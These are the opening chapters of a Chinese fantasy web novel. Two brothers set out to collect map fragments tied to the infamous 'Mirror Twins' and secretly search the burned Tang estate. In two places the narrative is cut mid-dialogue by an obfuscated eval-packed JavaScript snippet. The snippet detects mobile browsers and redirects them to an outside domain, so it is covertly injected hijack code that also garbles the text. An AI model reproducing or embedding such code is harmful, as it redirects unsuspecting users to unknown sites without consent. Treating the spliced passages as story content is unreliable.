《重逢日》 1. 孚望一 月黑风高夜,离家出走时。 避过巡逻的人,一个黑衣女子背着包袱悄悄翻出了院墙,她的步法灵巧迅捷,几个呼吸间,就已经远离了那座院子。 父亲母亲在上,女儿在屋中留了一封信,可算不上不告而别了。 女子在心中暗暗说道。 附近的官道尽是夜巡的侍卫,她隐在暗处游走,悄无声息的告别了这座城池...... * 衢州,谷雨时分。 云雾迷蒙处,一座低调雅致,水木清华的宅邸静立其中,门户敞开,上书云府。 穿着素色衣衫的仆从行走其间,低眉垂目,步伐轻悄无声,他们有序而从容地忙碌着,准备着今日云家长子云修泽的及冠礼。 此时宅子的正屋中,云姓父子三人相对而坐,最大的那个一脸严肃,不大不小的笑眼眯眯,小的那个满脸写着''你在和我开玩笑吗''? 他们面前的桌案上摆着一个木盒,而木盒中,盛放的是一份残缺的地图,云父将盒子推到兄弟二人面前,安静了半响,开口说道。 “这的确是镜双子的地图之一,传闻共有五份,你们不用管我是怎么得到它的,总之正好用来当作你们这次入世历练的任务,集齐其他四份,然后找到地图上的地方,完成后,你们就可以回来了。” 这番话就像是微石落入平静的湖面,打破了屋内停止的场面,云修云直接跳脚。 “我们??!!阿爹你有没有搞错,我们家虽然有男子及冠就入世历练的规矩,但向来都是继任族长的长子,跟我一个还没及冠的次子有什么关系?!” 云修云就算被父亲的灵力强行按在了椅子上,还是忍不住想要挣脱,起来继续跳脚。 “况且您给的这什么破任务!!这世上谁不知道这地图是那对双生子的!最终能找到什么东西谁都不知道!而且别说拿到了,光是哪里有点地图的消息都能引起不小的麻烦!!您这哪是历练啊!您这是送我们欢欢喜喜的进油锅啊!!!” 云父放下了茶杯,无视了小儿子的控诉,并挥一挥衣袖,表示这事儿没得商量,他转头去看大儿子,云修泽从头到尾就没变过过表情,笑眯眯的看着父亲和弟弟。 他笑得让云父心里有点打鼓,低头轻咳一声,问道。 “子竹,你可知晓了?” 云修泽转了转手中的茶杯。 “父亲何时也对那虚无缥缈的秘宝有了兴趣?我们云家虽然避世不出,但名下产业众多,家底殷实,实力也还算不错,何须卷入到那些麻烦事里去?” 云父摇了摇头,并没有说些什么。 云修泽看父亲态度坚决,想来也是有自己的考量,只是不知这真的是对他们兄弟二人的磨练,还是云家想要入世的先兆了。 他无法,只得问道。 “父亲手中既然已经有了一份地图,不知是否知晓其他四份的下落?” “这也是我要与你交代的,半年后,佘渊边缘的白界将举行一次大比,你自己想办法找齐剩下三个同伴,不限人与妖,赢下这场比赛,这场比赛的彩头之一就是一份地图,剩下的...” 云修泽认真听着。 “剩下的...要靠你们自己找。” 云修泽给了父亲一个无语的神情,旁边的云修云在反抗失败后,就放弃挣扎的趴在了桌子上,他也明白,对于跟随刚刚弱冠的哥哥去完成这麻烦的历练任务这件事,根本就是个通知。 他破罐子破摔,反正他的意见从来都不重要,但听到这里,还是忍不住抬起头来,和大哥一起给了父亲一个无语的表情。 云父看着有着奇怪默契的兄弟俩,露出了一点欣慰的笑意。重新为自己斟满了茶,挥挥手,让兄弟二人收好地图就退下,好好准备今天的冠礼。 巳时,正院。 一切已经准备就绪,长老宾客立于两侧,高台上,云修泽拱手跪立,身侧是云纹青铜鼎,云父接过侍从奉上的冠冕,神色肃穆地为自己的长子加冠。 云修泽解下腰间佩剑双手奉上,云父接过,剑鞘刻名禇闲,他抽出剑身,持剑在云修泽双肩点过。 “以岁之正,以月之令。咸加尔服。兄弟具在,以成厥德,黄老无疆,受天之庆。”【注1】 云父声音低沉,他看着云修泽,忽然发现他已经不是小时候那个到处和人说自己是根竹子的毛头小子了,现在的他,身形欣长,抬眼望来,看着你,只叫你觉得再没有比他更认真的。 他在心中暗暗点头,已经是个俊俏的好儿郎了。 收剑回鞘,云父郑重的将它交还到云修泽手中,对他说道。 “用剑之人,剑即半身,你为它赋名禇闲,我与你母亲亦希望你行事从容有度,收放自如,心境旷达,永不为心魔所累。” 云修泽双手恭敬接过。 “承父所愿,继母所望,子竹知晓了。” 他双臂平举,手腕翻转,以手背承剑,又从两端向剑中汇去,双手交叠,将额头贴向剑鞘,恭敬叩首,三拜过后,方为礼成。 云父看了眼院墙外的天空,叹了口气。 “记得去看看你们母亲。” 云修泽顿了一下,轻声应是。 待到观礼的宾客散去,云修泽一把拉住了想要偷溜的云修云的后衣领,慈眉善目的问他想到哪里去。 云修云一脸正气凛然。 “当然是去练剑!” 他眼珠子左转右转,哪里都看看,就是不去看自家大哥的笑脸,但不过一会儿他就败下阵来,连连投降,乖乖的和云修泽一起去找母亲。 兄弟两人找了一些母亲常去的地方,都没能见到她,只得拉住一个路过的女使询问,在得知母亲午后去了后山的竹林后,就一同去往了后山。 后山的竹子密密丛丛,绿意盎然,现下又正好是它的季节,下过雨后,竹笋也冒出尖来,用不了多久就能长成新竹,林中有淡淡的雾气,整片竹林安静到能听到竹叶掉落的细微声响。 云修泽年幼时曾被母亲扔进竹林和师傅鸣音修行,无法修成就不许出来,年幼的他忍受不了这无边的寂静,却也在这里学到了常人一生也许都无法企及的轻功,对这片寂静的竹林是惧之切,也爱之深。 竹林深深,身为云家自己的后院,当然也设有阻止外人进入的阵法,他左两步,右三步的走,云修云安静的跟在他身后。 他与大哥不同,他的出生本是意料之外,父母也没有对他寄予太大的希望,因此他不曾像大哥一样长年呆在在这里修行,甚至有些陌生。 他打量着四周长得差不多的竹子,没注意到云修泽已经停下,结结实实就闷头撞了上去,云修泽回头看他一眼,他吃痛的捂着撞疼的鼻尖揉按,对上大哥的眼神,却敢怒不敢言,心里骂骂咧咧的从云修泽背后探出头去。 然后看到了娘亲的惊艳亮相。 只见一个绰约多姿,弯眉淡目的青衣美人怀抱莲蓬与开得正好的荷花向他们走来。 她从林深处来,所过之处,竹林为她让路,一个晃眼间,又回到了原来的位置,好似幻境一般。 能让竹林为之让路,她自然不是普通人,甚至于,她都不是人。 云修泽看着被岁月偏爱的母亲,她名为禾筠,是天生地养的天竹,天生灵物少之又少,非人非妖,很多年前,若不是他们一脉献祭天道,以平人妖之战,恐怕也不会因为心生执念,想要重振天竹一脉,而燃烧精血与灵力,竭力诞下他,又给了他一个深沉压抑的童年。 云修泽敛眸,看着弟弟乐颠颠地凑上去喊了一声娘亲,又傻呵呵的问她哪里来的莲蓬与荷花。 提起这个,她显得十分高兴,拿着荷花在云修云身上比了两下,又拉着他想让他接鸣音的活,继续催生荷花,想用荷花给他做一身衣裙。 云修云是云母放下执念后,与云父愈加恩爱,意外所得的孩子,只是一直可惜他不是个女孩,只能在他年幼时,不断地给他穿女孩的衣裙,扎女孩的发髻,用来弥补一二。 云父对此也是睁一只眼闭一只眼,等他长大,意识到男孩子不应该穿女孩子的衣裙后,就说什么都不肯再穿,甚至调侃一句都会惹他炸毛,慢慢的云父和云修泽就不再提了,只有云母还弃而不舍给他做衣服。 瞥见云修云欲哭无泪的表情,云修泽耸了耸肩,看吧,虽然竹林里有不小的湖泊,但他就不太想知道四月哪里来的盛开的荷花。 俗话说,吃一堑长一智,但云修云在母亲这里似乎从小到大都是吃一堑又接着吃一堑,平时绕着走,见到了又乐此不疲地往上凑,不是被抓去穿新做的衣裙,就是被拉去当苦力。 弟弟不争气,大哥叹气。 云修泽走上前去解救即将被抓走的弟弟,他拱手行礼,喊道。 “母亲。” 云母这才看向他,她的双眸盛着秋水般的温柔,云修泽望见了年幼时最渴望的东西,一时间有些语塞。 嘴唇合上又张开,轻声说道。
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云修泽一听,眼睛亮了几分,这确实是个好东西,省得他担心拿到了地图却被别人抢夺。 云母笑道。 “你们兄弟二人血脉相连,同心佩又取自同一块玉胚,认主后,你们可以感知到对方的安危和方位,正合适不过了,你们将它们戴上,我与你们父亲也多少可以安心一些。” 二云对视一眼。 小云殷勤上前为她揉肩卖乖,大云收起玉佩拱手道谢。 忽然一阵疾风传来,云修泽眼神一凌,扭腰转身,刹那间就被逼离了地面,这里为了母子三人叙话方便,四周被清出一小块空地,云修泽无处借力,便挥剑向上,剑气带风,震落了竹叶。 又一阵风袭来,云修泽扭头望向来者方位,脚尖轻点竹叶,竟然借着这微弱的力道在空中翻身,接连几下,顺利遁入了竹林中,来人似乎追了过去,极速的过了几招。 他们都是轻功了得的人,在影影丛丛的竹林中,只闻其声,却看不见他们的身影。 四周的竹子轻晃,落叶簌簌,又是一个晃眼,云修泽竟是衣冠未乱的回来了,他笑看着一只手掌大小,羽毛浮翠流丹的鸟儿飞来,在空中停滞了一会,变成了一个穿着深绿色劲装的女子。 女子似乎心情不错,拍了拍云修泽的肩。 “好小子,轻功又有长进了,这样你出去,我也更放心一些。” 云修泽与云修云一同行礼,唤道。 “师傅。” “乖孩子,起来吧。” 女子就是鸣音,原身是一种名为躅躅的鸟妖,以身法轻盈,速度极快,可以御风而闻名。 它们这一族都是天竹的伴生兽,依靠天竹提供的特殊灵气修炼,天性就会保护自己的伴生竹,因此在当年那一战中,都随着自己的伴生竹死去了,如今这一族,天地间恐怕也只剩下了鸣音。 鸣音虽然跟着禾筠,但并不愿意住到宅子里去,只愿住在后山,镇守这百里竹林。 早年她受云母所托,虽说是教授两个孩子,但其实只有云修泽跟随她学了这足以让他傲视九成人的轻功,云修云则更多的是学习云家自己的功法。 “你们何时离家?” 云修泽摇了摇头。 “还未定下,应该是过两日吧。” 鸣音点点头,没再问些什么。 她看向云母脚边的荷花,似乎想起了什么,余光正巧瞥到她想要开口说话,表情扭曲了一下,借口有事,就匆忙化为原型离去了,颇有一种落荒而逃之感。 云修云还想趁现在好好体会一下来自家人的温情,本来情绪都酝酿的差不多了,正要说话,就被他师傅的来去如风强行打断。 他心口梗着一口上不来也下不去的气,听见母亲说。 “玉佩里你们父亲已经提前放上了一些你们路途中需要的东西,一应物品已经准备妥当,你们只管安心就好,早去早回。” 云修云觉得那口气又可以顺下去了。 * 一刻钟后,云修泽与云修云两兄弟站在自家大门口面面相觑。 看着弟弟的投来包含着‘你真的不是在和我开玩笑吗’的意思目光,云修泽呐呐说道。 “我...我也没想到会这么早......” 2. 孚望二 云府,夫妻二人正叙话用餐。 云母有些担忧。 “老云,你说他们这一走也不知道要到什么时候,咱们给的是不是有点少?” 云父给她盛了一碗汤,柔声安慰她。 “没事,男孩儿都糙,得穷养。” “也是......” * 此时山中一条杂草丛生的小道上,兄弟二人还浑然不知的坐在一块石头上,被丢出来得太过匆忙,两人准备盘点一下家里给他们整理的东西,再从山下的小镇里租辆马车,用个饭什么的。 两人翻遍了玉佩,几套换洗的衣物,常用的伤药,一把随身携带的匕首,装着地图的盒子,还有碎银二十两。 “......” 两个从小到大虽然谈不上出手阔绰,但也从不为身外之物烦心的公子哥陷入了沉默。 云修云感觉这一天自己已经被打击的开始看破红尘了,他看了看云修泽的二十两,又看了看自己的二十五两,在诡异的平静心态下,还是冒出了点疑惑。 “他们为什么多给了我五两?” “......” “也许......你在他们心中...算半个姑娘?女儿富养嘛......” “......” 云修云崩溃的双手抱头,知道自己就多余这一问。 “那现在怎么办?我们去哪儿?” 云修泽拍拍他。 “马车就别想了,买两匹马得了,跑得还快,佘渊那个还有半年,不着急,咱们先去找世叔吧,他走南闯北的行商,见过的人和知道的事都不少,地图如此瞩目,他肯定有所探听,我们先去问问他。” 云修云叹了口气,只觉得人生对他这个十七岁的少年不太友好。 “可他一年有一大半的时间都在外面,谁知道他现在在不在家。” “我知道啊,他前两天还给父亲传信,想邀他小聚一下,现下肯定在家。” “......好吧...算你厉害...” 三天后,一座还算是比较富裕的城镇里,两个灰头土脸的年轻人正狼吞虎咽的用饭,两人眉眼相似,看上去就是一对兄弟。 其中那个更年少些的,一把放下手中的碗筷,打了个饱嗝,悲愤地说 “本少爷从小到大就没受过这种委屈!!那村里的人都是怎么回事,大风天气连让我们避一避都不肯,一个个都跟躲瘟神似的,要不是找到一个破庙,还不知道我们要变成什么鬼样子呢!!” 云修泽也很难受,他喜洁,从小除了练武,就没有过这么狼狈的时候。 “我的小少爷,你就知足吧,好歹马没嫌弃我们,还跟着我们呢...” 云修云沉默,开口感慨。 “...好马啊......” 云修泽要被自己这个傻弟弟逗笑了,点头附和。 “嗯,好马!” 饭馆中十分热闹,云修泽叫来小二结了饭钱,准备要两间房,再弄点热水洗漱一下,在等待小二找零的同时,他的耳朵轻轻动了一下。 云修泽的眼神一下就变了,他凝神细听,刚刚好像有人谈到了双生子? 听了一会儿,他又将刚刚小二找给他的铜钱推了回去,冲小二温和的笑道。 “我们兄弟二人初来乍到,准备住上几天,只不过身手不大好,带的剑也是个幌子,不知最近城中可有什么大事发生,让我们有个准备,好别在无意间惹上什么祸事?” 小二的笑意真诚了几分,十分自然地将铜钱收入了自己的口袋,一副仿佛十分为他们着想的样子。 “哎呀,两位客官有所不知,这最近啊,城里开医馆的唐家,一夜之间就被灭了门!!要不是第二天中午,城里他家的医馆都没人坐诊,着急的人家找上了门去,还没人知道呢!听说整栋宅子都被烧得面目全非,大门处全是挣扎想要开门逃跑的尸体!!” 说到这里,小二似乎也感到有些害怕。 “邪门的很!那么大的火,别说是邻里间,就是再远一些,也应该能察觉到,可是就连值夜的人都没发现有那么一场大火烧了一夜,第二天开门的时候,还有一种火势刚刚熄灭的焦糊味,门也没有什么问题,不知道为什么,就是一个都没跑出来......” 兄弟两人对视一眼,云修泽沉声寻问。 “一个家族人那么多,确定没有人跑出来吗?” 小二摇了摇头,作贼似的小声说道。 “那一天是每月唐家举行家宴的固定日子,在外的子弟,无论多忙,那一天都会回家,官府的人统计过尸体了,一个都没少。 云修泽像是单纯的好奇一样,紧追着问道。 “那为何如此肯定是被灭门的?仅凭无人逃脱和没被察觉的大火吗?就不能是意外失火吗?” 小二搓了搓衣袖,左右看了看,弯腰低头悄悄地说。 “听说,有人在现场发现了镜双子的记号!虽然已经很久没听说过他们的事了,但那个记号用料特殊,从没有人仿造出来过!肯定是他们灭了唐家的门!!” 镜双子! 云修泽双眼眯了眯。 “他们和唐家有仇?” “这谁知道!没准就是看不顺眼人家行医施德呢!!他们可不是什么善茬,两位客官这两天还是少往城北去的好,难保那对双生子还在不在这里!” 云修泽露出感激地微笑。 “好,我们知道了,多谢你。” “嘿嘿,好说,好说,两位客官下次有事还可以找我啊。” 送走了小二,云修泽的脸色沉了下来,他轻轻转着手里的茶杯,云修云看了眼他的脸色,问道。 “唐家?是我知道的那个唐家吗?” “世叔家附近十里还有第二个唐家吗?” 云修云被他怼的一哽,想起来他大哥心情不好的时候说话就会不太友善,他只能自我宽慰,又看了眼天色,提议道。 “现在天色还早,要不我们先去世叔家,商量一下对策再回来看看吧。” 云修泽神色沉凝的看着茶面上不断上下起伏的茶梗,沉默良久,说道。 “不,做好准备,我们夜探唐府!” 云修云哀嚎一声,如果是父亲他还敢反抗两句,可偏偏在经历了长时间赶路,又遇上狂风摧残的一天后,做出这种惨无人道的决定的人是他总是装好人,但实际黑的心都看不见的大哥,他也不蠢,不能上赶着去给他说教,在哀嚎过后,还是埋头认下了这个决定。 于是一个神色平静,一个双目无神的兄弟二人一前一后地上了楼。 当晚,夜阑人静时,两个穿着夜行衣的人悄无声息地来到了唐府后门。 云修泽打量着这里,云修云疑惑。 “这不是看着挺好的吗?哪里像是被烧了?” 的确,唐府的外墙十分正常,就像是此刻院墙内的主人家还正在酣睡一般。 云修云走上前去,想要看看能不能翻墙,还没靠近,就被一种无形的屏障拦在了外面,他没有什么准备,撞了上去倒也没有喊痛,反而紧抿双唇保持安静,顺着这个屏障摸索起来。 云修泽由着他去,不一会,云修云回到他身边,低声说。 “整座宅邸都被围起来了。” 云修泽碰了碰那个屏障,低声念了些什么,屏障肉眼可见的泛起了一圈涟漪,露出了一个可供一人进出的小口。 云修云随着他进去,好奇的问道。 “这是什么?阵法吗?” 云修泽头也不回给了他脑袋一下。 “让你好好听讲你不听,这是结界,我们家也有,我刚念的是家里夫子教过的用来破界的咒语,等今晚回去,你给我抄上二十遍,背不下来就别睡觉。” 云修云有些低落,倒也没有顶嘴。 两人翻墙进去,看见院内的确被烧得满目疮痍,还有一些小院的支撑木都被烧断了,塌陷下来。 这里除了死物,毕竟还烧死了不少人,味道并不好闻,云修云皱眉捂着口鼻。 “既然外面有结界,为什么那些来寻医的老百姓和官府的人能进来?” 云修泽捻起了一些地上的灰烬,闭上眼单手掐了个诀,几瞬过后,他睁眼说道。 “这就是普通的火,没有灵力加持。” 他疑惑道。 “唐家虽然在普通人眼里就是正常的行医世家,可他们本来也是隐世而居,十几年前才开始渐渐活跃,传承悠久,医毒双绝,更何况每个嫡系子弟都修行了他们自家的功法,有深厚的灵力护身,哪怕出不去,也绝不应该被普通的火烧死。” 云修云听了神色凝重,迟疑地开口。 “你的意思是,除了灵力低微的下人,那些在火里有自保之力的,在火烧起来之前,就已经被人杀了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950929|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 云修泽挑眉,似乎无言之中说了一句‘呦呵?小子竟然不傻’。 云修云被他看得有些无语,翻了一个不小的白眼给他,云修泽轻笑。 “走,先去找结界的中心。” 两人从外院一路向内查探,在内院发现了一栋完好无损的房子,这栋房子只有几寸的大小,恐怕在没烧毁前是十分不显眼的存在,只是在如今这个情况下,倒成了最瞩目的那个。 云修泽上前试探,发现这里也存在同样的结界,他尝试之前的咒语,发现这个小型结界没有丝毫变化,抽出禇闲,注入了一丝灵力。 他尝试了简单的劈砍,发觉从结界处反弹了一些阻力,于是心里有了数。 “这是一种专门用来保护贵重物品的结界,通常有两层,外层与寻常结界没有什么区别,内层却远超外层,是被动触发,而且不能以人力关掉,只能等中心为结界提供灵力的物品灵力被耗光才能消散。” 云修泽面沉如水。 “最重要的是,这种结界非常针对灵力高强的人,想要强行破解,灵力越是高强,受到的反伤越多,所以那些没有灵力的普通人反倒是能自由进出,我们能看到这栋小楼,但在他们眼里,恐怕这里什么也没有。” 云修云皱眉,觉得有点麻烦。 “那这个结界什么时候才能消散?” “以我刚刚感觉到的阻力来说,恐怕三日后才可以。” 云修云带着点希冀问。 “那我们现在回去?” 云修泽慈爱地看着他。 “想什么呢?来都来了,自然要去见识一下传说中的镜双子的记号,分开找吧,我可爱的弟弟。” 云修云觉得在他那里,可爱就等于愚蠢,他苦着一张脸,哀怨的离开了。 云修泽来到唐家用来待客宴饮的正厅。 这里四周的支撑柱上,细细看去能看到残余的剑痕,桌椅也凌乱的倒着,外人看也许就认为是他们慌忙逃窜导致的,可云修泽察觉到了一些灵力的波动。 想来是有人闯入了这里,以碾压式的强大在屠杀唐门的子弟,才让族长慌不择路地开启了结界,却没想到,来人根本就不是觊觎他们家的东西,进来杀人目的就是逼他们开启结界,都没有尝试去破第二层结界,杀完人后就潇洒离去了,开了结界,反而让一些灵力低微,没被放在眼里的子弟困在了里面。 唐家究竟藏了什么?让他们会以为只要来找他们麻烦就是为了这个东西来的? 他走到正位的高台上,用作增添意趣的屏风已然倒了,被烧得框架也已经散乱,云修泽突然发现正位身后的墙上,在正中间,似乎有什么图案。 他吹去墙上的余灰,打眼一看,发现一个艳红的图案十分张扬的印在那里。 云修泽想起父亲曾说,镜双子会在自己的记号中留下一丝灵力,而当另一个身负灵力的人去触摸的时候,往往能听见他们的一句留言,可只有第一个人才能听到,之后的人,哪怕灵力再高强,也听不见只言片语了。 他缓缓伸手,想要触碰墙上的图案,却听见身后一阵轻微的兵刃出鞘的铮鸣,紧接而来的就是带着些微寒意的剑风。 云修泽在瞬息间拔出禇闲,回身挡住了凌厉的攻势,兵刃相接,出现了”叮————“的一声嗡鸣,带起的音波让云修泽皱了皱眉头。 两股灵力对撞,以他们为中心,周围在刹那间被清出了一片空地,尘雾四起,云修泽只能分辨与禇闲相持的是一把剑身稍细,且有蓝色材料点缀的冒着寒光的长剑。 好剑!!! 云修泽眼神暗了一下。 禇闲是耗费了云家不少财力物力,从四处收集来的天才地宝锻造的,能与禇闲相持还不落下风,只能说明来人同样不是个好惹的角色。 来者身法迅捷,以速度见长,可力道稍有不足,想来是以四两拨千斤为主要的打法。 看现在这个的意思,应该是不会后退来换攻法了,云修泽将灵力汇集到下盘,准备只等尘雾一散,就后仰改变当下的僵局,只要下盘不被带动,就能避免被来人带入到他的节奏中去! 云修泽想了这么多,但其实都在一息之间,灵力对撞带动的尘雾散的很快,他抬头看去,与来者相视,本应在瞬息间完成的动作却有了一丝停顿。 来人覆面,他只望见了一双眼尾上挑,本应凌厉,却更多是为明澈动人的双眸。 3. 孚望三 镜双子的记号是一个镂空的正圆图案,下方是一弯蛾眉月,上方则是垂下的不知名的花枝,从图样来看显得十分风雅,可偏偏它却是血红色,不仅破坏了图样本身的文雅,也让它带上了一种妖异之感。 云修云与云修泽在唐府两个相反的方向寻找,等他察觉到远处的打斗声和灵力波动时,便暗道不好,立即向云修泽那里赶去。 等他赶来,便看到云修泽一个人正背对着他站在高台上,脊背挺直,双臂悬于身侧,右手紧紧握着禇闲的剑鞘,他的气息不算十分平稳,似乎刚刚经历过一场比较消耗体力的争斗,他抬着头,紧紧盯着墙上的记号。 “哥?刚刚怎么了?你受伤了吗?” 云修云一边快步向前,一边快速的扫视着四周打斗的痕迹,这里本来就是一片狼藉,现在更是一塌糊涂,连原本都还好好立着的支撑木,现下都断了两根。 这里没有别人,那就只能说明来人不但招惹了他哥,而且还顺利的逃走了。 等他到了高台上,发现自家大哥身上虽然没有什么严重的伤,但是却被细细密密的划了许多浅浅的血痕。 云修云暗暗心惊,决定先躲着点他哥,省的给他理由找自己撒气。 他小心翼翼地打量云修泽的神色,却发现十分奇怪,云修泽似乎并没有心情不好,反而像是心情不错的样子。 他笑着瞥了一眼在他身边狗狗祟祟的云修云。 “你个不靠谱的,要真有什么强敌,以你这个速度,等你来了,我人都要凉了。” “唐府那么大,我那是离你离的远!更何况是你要求分开找的,你还怪我来得迟了!” 云修云露出了不服气的神色。 “你还没告诉我呢,刚刚到底怎么回事儿啊?” “没什么,一个尾随我们进来的小贼罢了,不用在意。” 云修泽不以为意的说道,又引他去看墙上的图案。云修云这才将注意力放到传说中镜双子的记号上,他摸了摸下巴,凑近仔细的端详着。 “嗯......还挺好看,这玩意儿真的假的?” “八成真吧。” “还有两成呢?” “还有两成,缺少了一些关键的信息。” 云修云还想问什么,但云修泽似乎对他的提问早有预料,先一步开口堵住了他的话。 “回去歇息,明天我们去找世叔,剩下的,或许要等我见过世叔之后才能确定。” 云修云听见能回去休息,双眼放光。 “别忘了你的二十遍。” 云修云眼中的光灭了。 次日。 一座冠名林府,富丽堂皇的宅子门口,两个少年牵马而来。 云修云快步上前,和门口的护卫说了什么,那人眼神略带狐疑的看了两兄弟一眼,转身进了府,不一会儿,便有一个管家模样的人迎了出来,见到二人显得十分高兴。 “哎哟!我的两个小少爷,什么风把你们吹来了!” 等走的近了,发现他们什么人也没带,只一人一匹马的就来了,又有些惊讶地问道。 “怎么了这是?这是有什么着急事儿要找老爷吗?怎么这样就来了?” 云修云看上去似乎很想对着来人大吐苦水,但在云修泽投来的一个眼神下还是偃旗息鼓了,云修泽笑容不变,说道。 “王叔好,这不是及冠了带着青玉出来走走嘛,不好那么张扬,这样更方便,我们找世叔确实有事,但并不着急,主要是来看看他。” 听他这样说,被称为王叔的管家才重新扬起笑容。 “诶!行行行,你们没事就好,快进来吧!正好最近老爷在家,你们也是赶巧了!” 兄弟两人把马交给了前来牵马的小厮,云修云还特意叮嘱要对它们好点,牵马的小厮连连陪笑应是,这才叫他宽慰了一些。 云修泽只觉得没眼看,掰过他不舍望马的头,揽着他往正厅走去。 旁边的王叔看着他们打闹,脸上带笑,只觉得兄弟二人感情很好。 到了正厅,两人刚一坐下,婢子就将瓜果点心还有茶水全都摆了上来,王叔则让他们休息一会,自己去叫老爷。 云修泽还是不太习惯这里和云府截然不同的富贵风格。 世叔家里世代行商,其富裕程度恐怕只比第一商会通神阁逊色几分,但和通神阁不同的是,他们做生意讲究缘分,什么都卖,比较零散,并没有从哪里立一个看得见摸得着的商铺,只靠人力和口碑四处游走行商,和他们家从祖爷爷那辈就是世交。 等到他回神再看,云修云就已经将桌上的点心吃得差不多了,云修泽眉头跳了跳,还没等他说什么,门口随着脚步声就传来了主人家的笑声。 “哈哈哈,青玉还是这般贪吃!子竹且宽心,能吃是福啊!” 一个身着绛紫色锦服,留有山羊胡的中年男人笑着走进来。 云修泽与云修云起身行礼,喊道。 “世叔。” 来人摆摆手叫他们免礼,撩开衣摆坐到主位上。 云修云似乎有些不好意思,挠了挠头。 “还望世叔莫要见怪,实在是出门在外,不像家里吃的舒心。” 林家主摸了摸山羊胡,对他们说道。 “听说你们来,我已经叫下人去安排晚宴了,之前叫你们爹娘没叫来,两个小的来也是一样,你们且安心住下,陪我待一阵子再说。” 他看向云修泽,上下打量了一下,神色有些宽慰。 “子竹长大了,一个眨眼间居然都是弱冠之年了,你们家老是神神秘秘的,不然世叔肯定会去观礼的!” 云修泽笑道。 “子竹知道世叔疼我,不过您总是出门,轻易见不着,子竹都要以为您把我们忘了呢。” “哈哈哈,你小子,你说说,哪次见面不给你们带新奇玩意玩儿?你个小没良心的!” 林家主指着他笑骂,疼爱之色溢于言表。 云修泽笑意满满,又接着说道。 “您也知道我们家的规矩,我本就是第一次,更何况还带着青玉,我们这次来着实是有些事拿不定主意,想向世叔请教一番,不知您现在方不方便?” “哦?你个鬼灵精也有拿不定主意的时候?好,你们稍待,我这就让人传膳,咱们边吃边聊。” 林家主找来一个小厮吩咐了两句,让他们额外上两份乳酪,又让他们给唐小姐也送一份去。 云修泽听到了,轻抿了口茶水,倒也没多想,世叔的相交之人遍布天下,路过借住的也不在少数,实在不用太过在意。 等到菜上齐了,两人看着云修云有些按捺不住的样子不禁相视一笑。 云修云虽难奈,却也守着小辈的规矩,等到世叔说完开吃,夹了第一筷子之后才开始用膳,他吃得开心,也没去注意那两人说了什么。 那边云修泽陪林家主喝过几杯之后,才开始说正事。 “世叔走南闯北那么多年,可曾听说过镜双子的名讳?” 林家主闻言有些诧异的挑了挑眉头。 “哦?你爹给你的任务跟他们有关?” 他放下手中的银筷,用手指轻轻敲着桌面,思索了一会儿,开口问道。 “难不成和地图有关?你爹想让你们去参加半年后白界的那场大比?他倒也真放得下心。” 云修泽闻言心中苦笑,他并不意外世叔能够猜出来,只不过连世叔都没想到,父亲给他的任务远不止如此。 他心中又将这个任务的难度往上提了提,只怕镜双子这个名头代表的人和事比他想象的还要难搞。 他又给林家主斟了一杯清酒。 “不知世叔对他们有几分了解?” “镜双子啊,哥哥叫斜月,妹妹叫瑶情,玄武年间横空出世,刚刚十四五岁的样子,因为那时候还没有长开,所以他们刻意混淆视听,最开始根本没人发现他们是龙凤双子,也没人知道他们的来处,当时是个乱世,他们的出现,是彻底搅浑了局面。” 林家主将酒饮下,几句话间陷入了回忆。 “镜双子行事乖张,灭了一个小门派,竟然只是因为单纯的看不顺眼,有人夜间出行,碰见他们,被他们好一顿戏耍,那人在惊惧交加之下躲过了一个,回头刚刚想跑,就猝不及防见到了另一张完全一样的脸,那时的两人站在一起,宛如对镜自照,久而久之就有了镜双子的名号。” 性情恶劣,行动随心。 云修泽初步有了判断,接着问道。 “您也说了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950930|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时是个乱世,他们如此作为,竟然没有引得众人讨伐吗?” “唉!就因为是个乱世啊,那个时候是真正的凭实力说话,他们虽然相当自负,可的确拥有自负的资本,武功之高强,令那一代的人们望尘莫及。” 林家主紧握着酒杯,沉声道。 “如何没有人打着大义的旗号围攻他们呢?只不过通常是去送死罢了,就算他们不敌,只要让他们跑了,回头参与过围攻的人,都会被他们一个个找上门去。” 林家主皱着眉,不知是有谴责之意,还是暗含了几分惧怕。 “曾有一个依水而建的家族被他们找上门去,一夜过后,整条河都被染红了,之后就再也没有什么人不自量力的去找他们麻烦了。” 云修云在忙碌中向林家主发问。 “他们做了很多恶事吗?” 林家主感慨的摇摇头。 “非也,非也啊!那对兄妹做事全凭心意,他们前一天可以毫不留情的灭杀一个门派,后一天就可以用灭门得来的钱财去救助路边快饿死的孩童,孤寡的老人,甚至于要考官的寒门子弟。他们随心而做的好事和他们任性妄为犯过的杀孽却并不好说哪个更多一点。爱他们的人,赞他们的真性情,恨他们的人,只说是魔头用来遮掩恶劣行径的手段罢了。” 云修云听了倒觉得他们十分有趣,云修泽想的却是,那么喜怒无常的人,留下的藏宝地,难道真的不是一个恶劣的玩笑吗?就算不是玩笑,又如何能被轻易找到呢? “他们做的这些事,仅凭他们两个人?” 林家主神色无奈的点了点头。 “没错,仅凭两个人。也许偶尔他们身边会有一两个好友,但绝大部分都是他们两个人完成的。” 云修云嘴里塞着东西,模糊不清的发出了一声赞叹,云修泽没去管他,问道。 “可知他们的好友是谁?” 